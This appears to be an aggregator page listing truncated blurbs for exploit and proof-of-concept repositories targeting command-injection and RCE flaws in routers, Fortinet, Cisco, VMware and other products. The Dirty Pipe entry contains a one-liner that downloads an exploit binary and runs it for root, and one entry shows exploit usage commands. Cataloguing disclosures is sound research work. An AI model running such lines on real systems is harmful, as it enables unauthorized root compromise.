CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 认证操作系统命令注入 Hit Counter FortiWeb 管理界面中的命令注入漏洞可能允许已认证的远程攻击者通过 SAML 服务器配置页面在系统中执行任意命令。以最高权限执行命令将导致攻击者完全控制服务器。这是 CWE-78：OS 命令中特殊元素的不当中和 的一个实例，其 CVSSv3 基础评分为 8.7。该漏洞的编号为 CVE-2021-22123，已在 Fortiguard Lab 页面 FG-IR-20-120 中得到解决。 基本上，SAML 代表安全断言标记语言（Security Assertion Mark...

CVE-2023-1389

描述 CVE-2023–1389 是 TP-Link Archer AX21 WiFi 路由器中的一个无需身份验证的命令注入漏洞。country 参数中的一个回调使用了 popen 函数，该函数以 root 权限运行，从而允许攻击者通过向管理界面发送 GET 或 POST 请求注入任意值，而无需身份验证。有关该漏洞的更多详细信息，请参见此处。 这些是我在探索该命令注入时创建的几个概念验证（PoC）脚本。Archer-file-transfer.py 是第一个迭代版本，其实现交互的方式相当复杂。Archer-rev-shell.py 为你提供了一个简单的 netcat 反向...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API 未认证远程代码执行漏洞利用 本仓库包含一个针对 CVE-2025-20281 的 Python 3 概念验证漏洞利用工具，该漏洞是 Cisco Identity Services Engine ISE 中的一个严重漏洞，允许通过 ERS API 实现无需认证的 root 权限远程代码执行 RCE 。 🩻 漏洞概述 Cisco ISE ERS 的 /ers/sdk 端点在处理用户创建请求时未能验证身份验证。 攻击者可通过在 InternalUser 对象的 name 参数中注入 shell 命令，实现以 root...

CVE-2024-23108

CVE-2024-23108 POC 针对存在漏洞的 FortiSIEM 设备，实现盲命令执行并获得 root 权限的概念验证漏洞利用程序。 我只是快速添加了提供 IP 列表的选项，并加入了一些颜色标记。 原版代码（以及全部功劳）归 horizon3 所有（请参见下面的博客文章）。 博客文章 根因分析和入侵指标请参见： https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 在 Twitter 上关...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2026-89010

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the syncserver daemon on TCP port 13136. The daemon...

CVE-2023-20887

CVE-2023-20887 CVE-2023-20887 的概念验证 - VMWare Aria Operations for Networks（vRealize Network Insight）未授权远程代码执行 技术分析 漏洞的根本原因分析可在我的博客中找到： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ 概述 当通过 Apache Thrift RPC 接口接受用户输入时，VMWare Aria Operations for Networks（vRealize...

CVE-2026-89010

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1_V250922 are vulnerable to an unauthenticated OS command injection via the sync_server daemon on TCP port 13136 . The root cause is that the daemon interpolates attacker-controlled filename input containing shell metacharacters in...

CVE-2026-89010 WAVLINK WN535M1/WN535M3 Unauthenticated OS Command Injection via sync_server

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the syncserver daemon on TCP port 13136. The daemon...

EUVD-2026-76130

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the syncserver daemon on TCP port 13136. The daemon...

CVE-2023-38035

CVE-2023-38035 POC de CVE-2023-38035 que afecta a Ivanti Sentry Análisis técnico Se puede encontrar un análisis técnico de la causa raíz de la vulnerabilidad en nuestro blog: https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive Resumen Este POC aprovecha una...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、将 cmd.vm 放到你的网站上（必须使用 ftp 或 https，http 不起作用） 2、修改 RCEexp.py，将 filename 改为 'ftp://1.1.1.1/cmd.vm'（python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py http://test.wikitest.cc:8080 "id" uid=0root...

Pyrescom-Termod-PoC

Pyrescom-Termod-PoC 这是针对由 Outpost24 Ghost Labs 的 Jonas Mattsson 和 Hugo van den Toorn 发现的三个漏洞的概念验证（Proof-of-Concept）利用代码。这些漏洞存在于 Pyrescom Termod4 时间考勤（time control）机器的 Web 服务器组件中。这些漏洞可以串联利用，允许远程攻击者绕过身份验证、读取本地文件系统中的文件并执行任意命令。以下 CVE ID 可用于引用这些漏洞：CVE-2020-23160、CVE-2020-23161 和 CVE-2020-23162。 CVE 详情...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy 经过身份验证的命令注入（CVE-2026-46368） 本仓库包含针对 luci-app-https-dns-proxy 中关键操作系统命令注入漏洞的概念验证（PoC）利用程序，该漏洞可导致以 root 身份执行任意命令。 CVE ID: CVE-2026-46368 Exploit-DB: EDB-52521 CVSS: 8.8（v3.1）/ 8.7（v4.0）— 高危 CWE: CWE-77（命令中对特殊元素处理不当） 漏洞详情 厂商: OpenWrt 社区包（维护者: mossdef-org / stangri） 产...

CVE-2018-18852

CERIO路由器 已认证RCE（厂商后门凭据）CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, @hooks3c 在Twitter上 针对CVE-2018-18852的有效Python PoC，最初发布在： https://github.com/hook-s3c/CVE-2018-18852 概述 CERIO路由器型号及变体包括DT300N、DT100G、AMR-3204、WMR-200N，存在已认证的基于Web的RCE漏洞，以root用户执行。 该漏洞以0day形式存在且未公开；...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM 未授权命令注入 概念验证漏洞利用，用于在易受攻击的FortiSIEM设备上以root权限盲执行命令 博客文章 根本原因和入侵指标在此： https://www.horizon3.ai/attack-research/disclosures/cve-2023-34992-fortinet-fortisiem-command-injection-deep-dive 使用方法 root@kitploit: % python3 CVE-2023-34992.py -h usage: CVE-2023-34992.py -h -...

CVE-2025-20281-Cisco

CVE-2025-20281 - Cisco ISE RCE 漏洞检测工具 此脚本用于检测 Cisco Identity Services Engine ISE 和 ISE-PIC 中是否存在 CVE-2025-20281 漏洞，该漏洞允许未经身份验证的攻击者由于特定 API 中输入验证不足而执行 未经身份验证的远程代码执行 RCE ，并以 root 权限运行。 本工具仅供授权的安全测试和教育目的使用。请勿将其用于您无权测试或不属于您自己的系统。 关于漏洞 CVE-2025-20281 允许一个 未经身份验证的远程攻击者 通过提交特制的 API 请求，以 root...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — Investigación de Vulnerabilidades RAPTOR Loop-Hunt Una auditoría de seguridad de Liferay Portal CE 7.0.3 GA4 git tag 7.0.3-ga4, commit b2d7cc68a realizada con la metodología RAPTOR loop-hunt : reconocimiento determinista → 25 agentes generadores aislados leyendo el código...

CVE-2024-23108

CVE-2024-23108：Fortinet FortiSIEM 未授权二阶命令注入 在易受攻击的 FortiSIEM 设备上以 root 权限盲执行命令的概念验证利用 博客文章 根本原因和入侵指标详见： https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 使用方法 root@kitploit: % python3 CVE-2024-23108.py -h usage:...

EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected comman...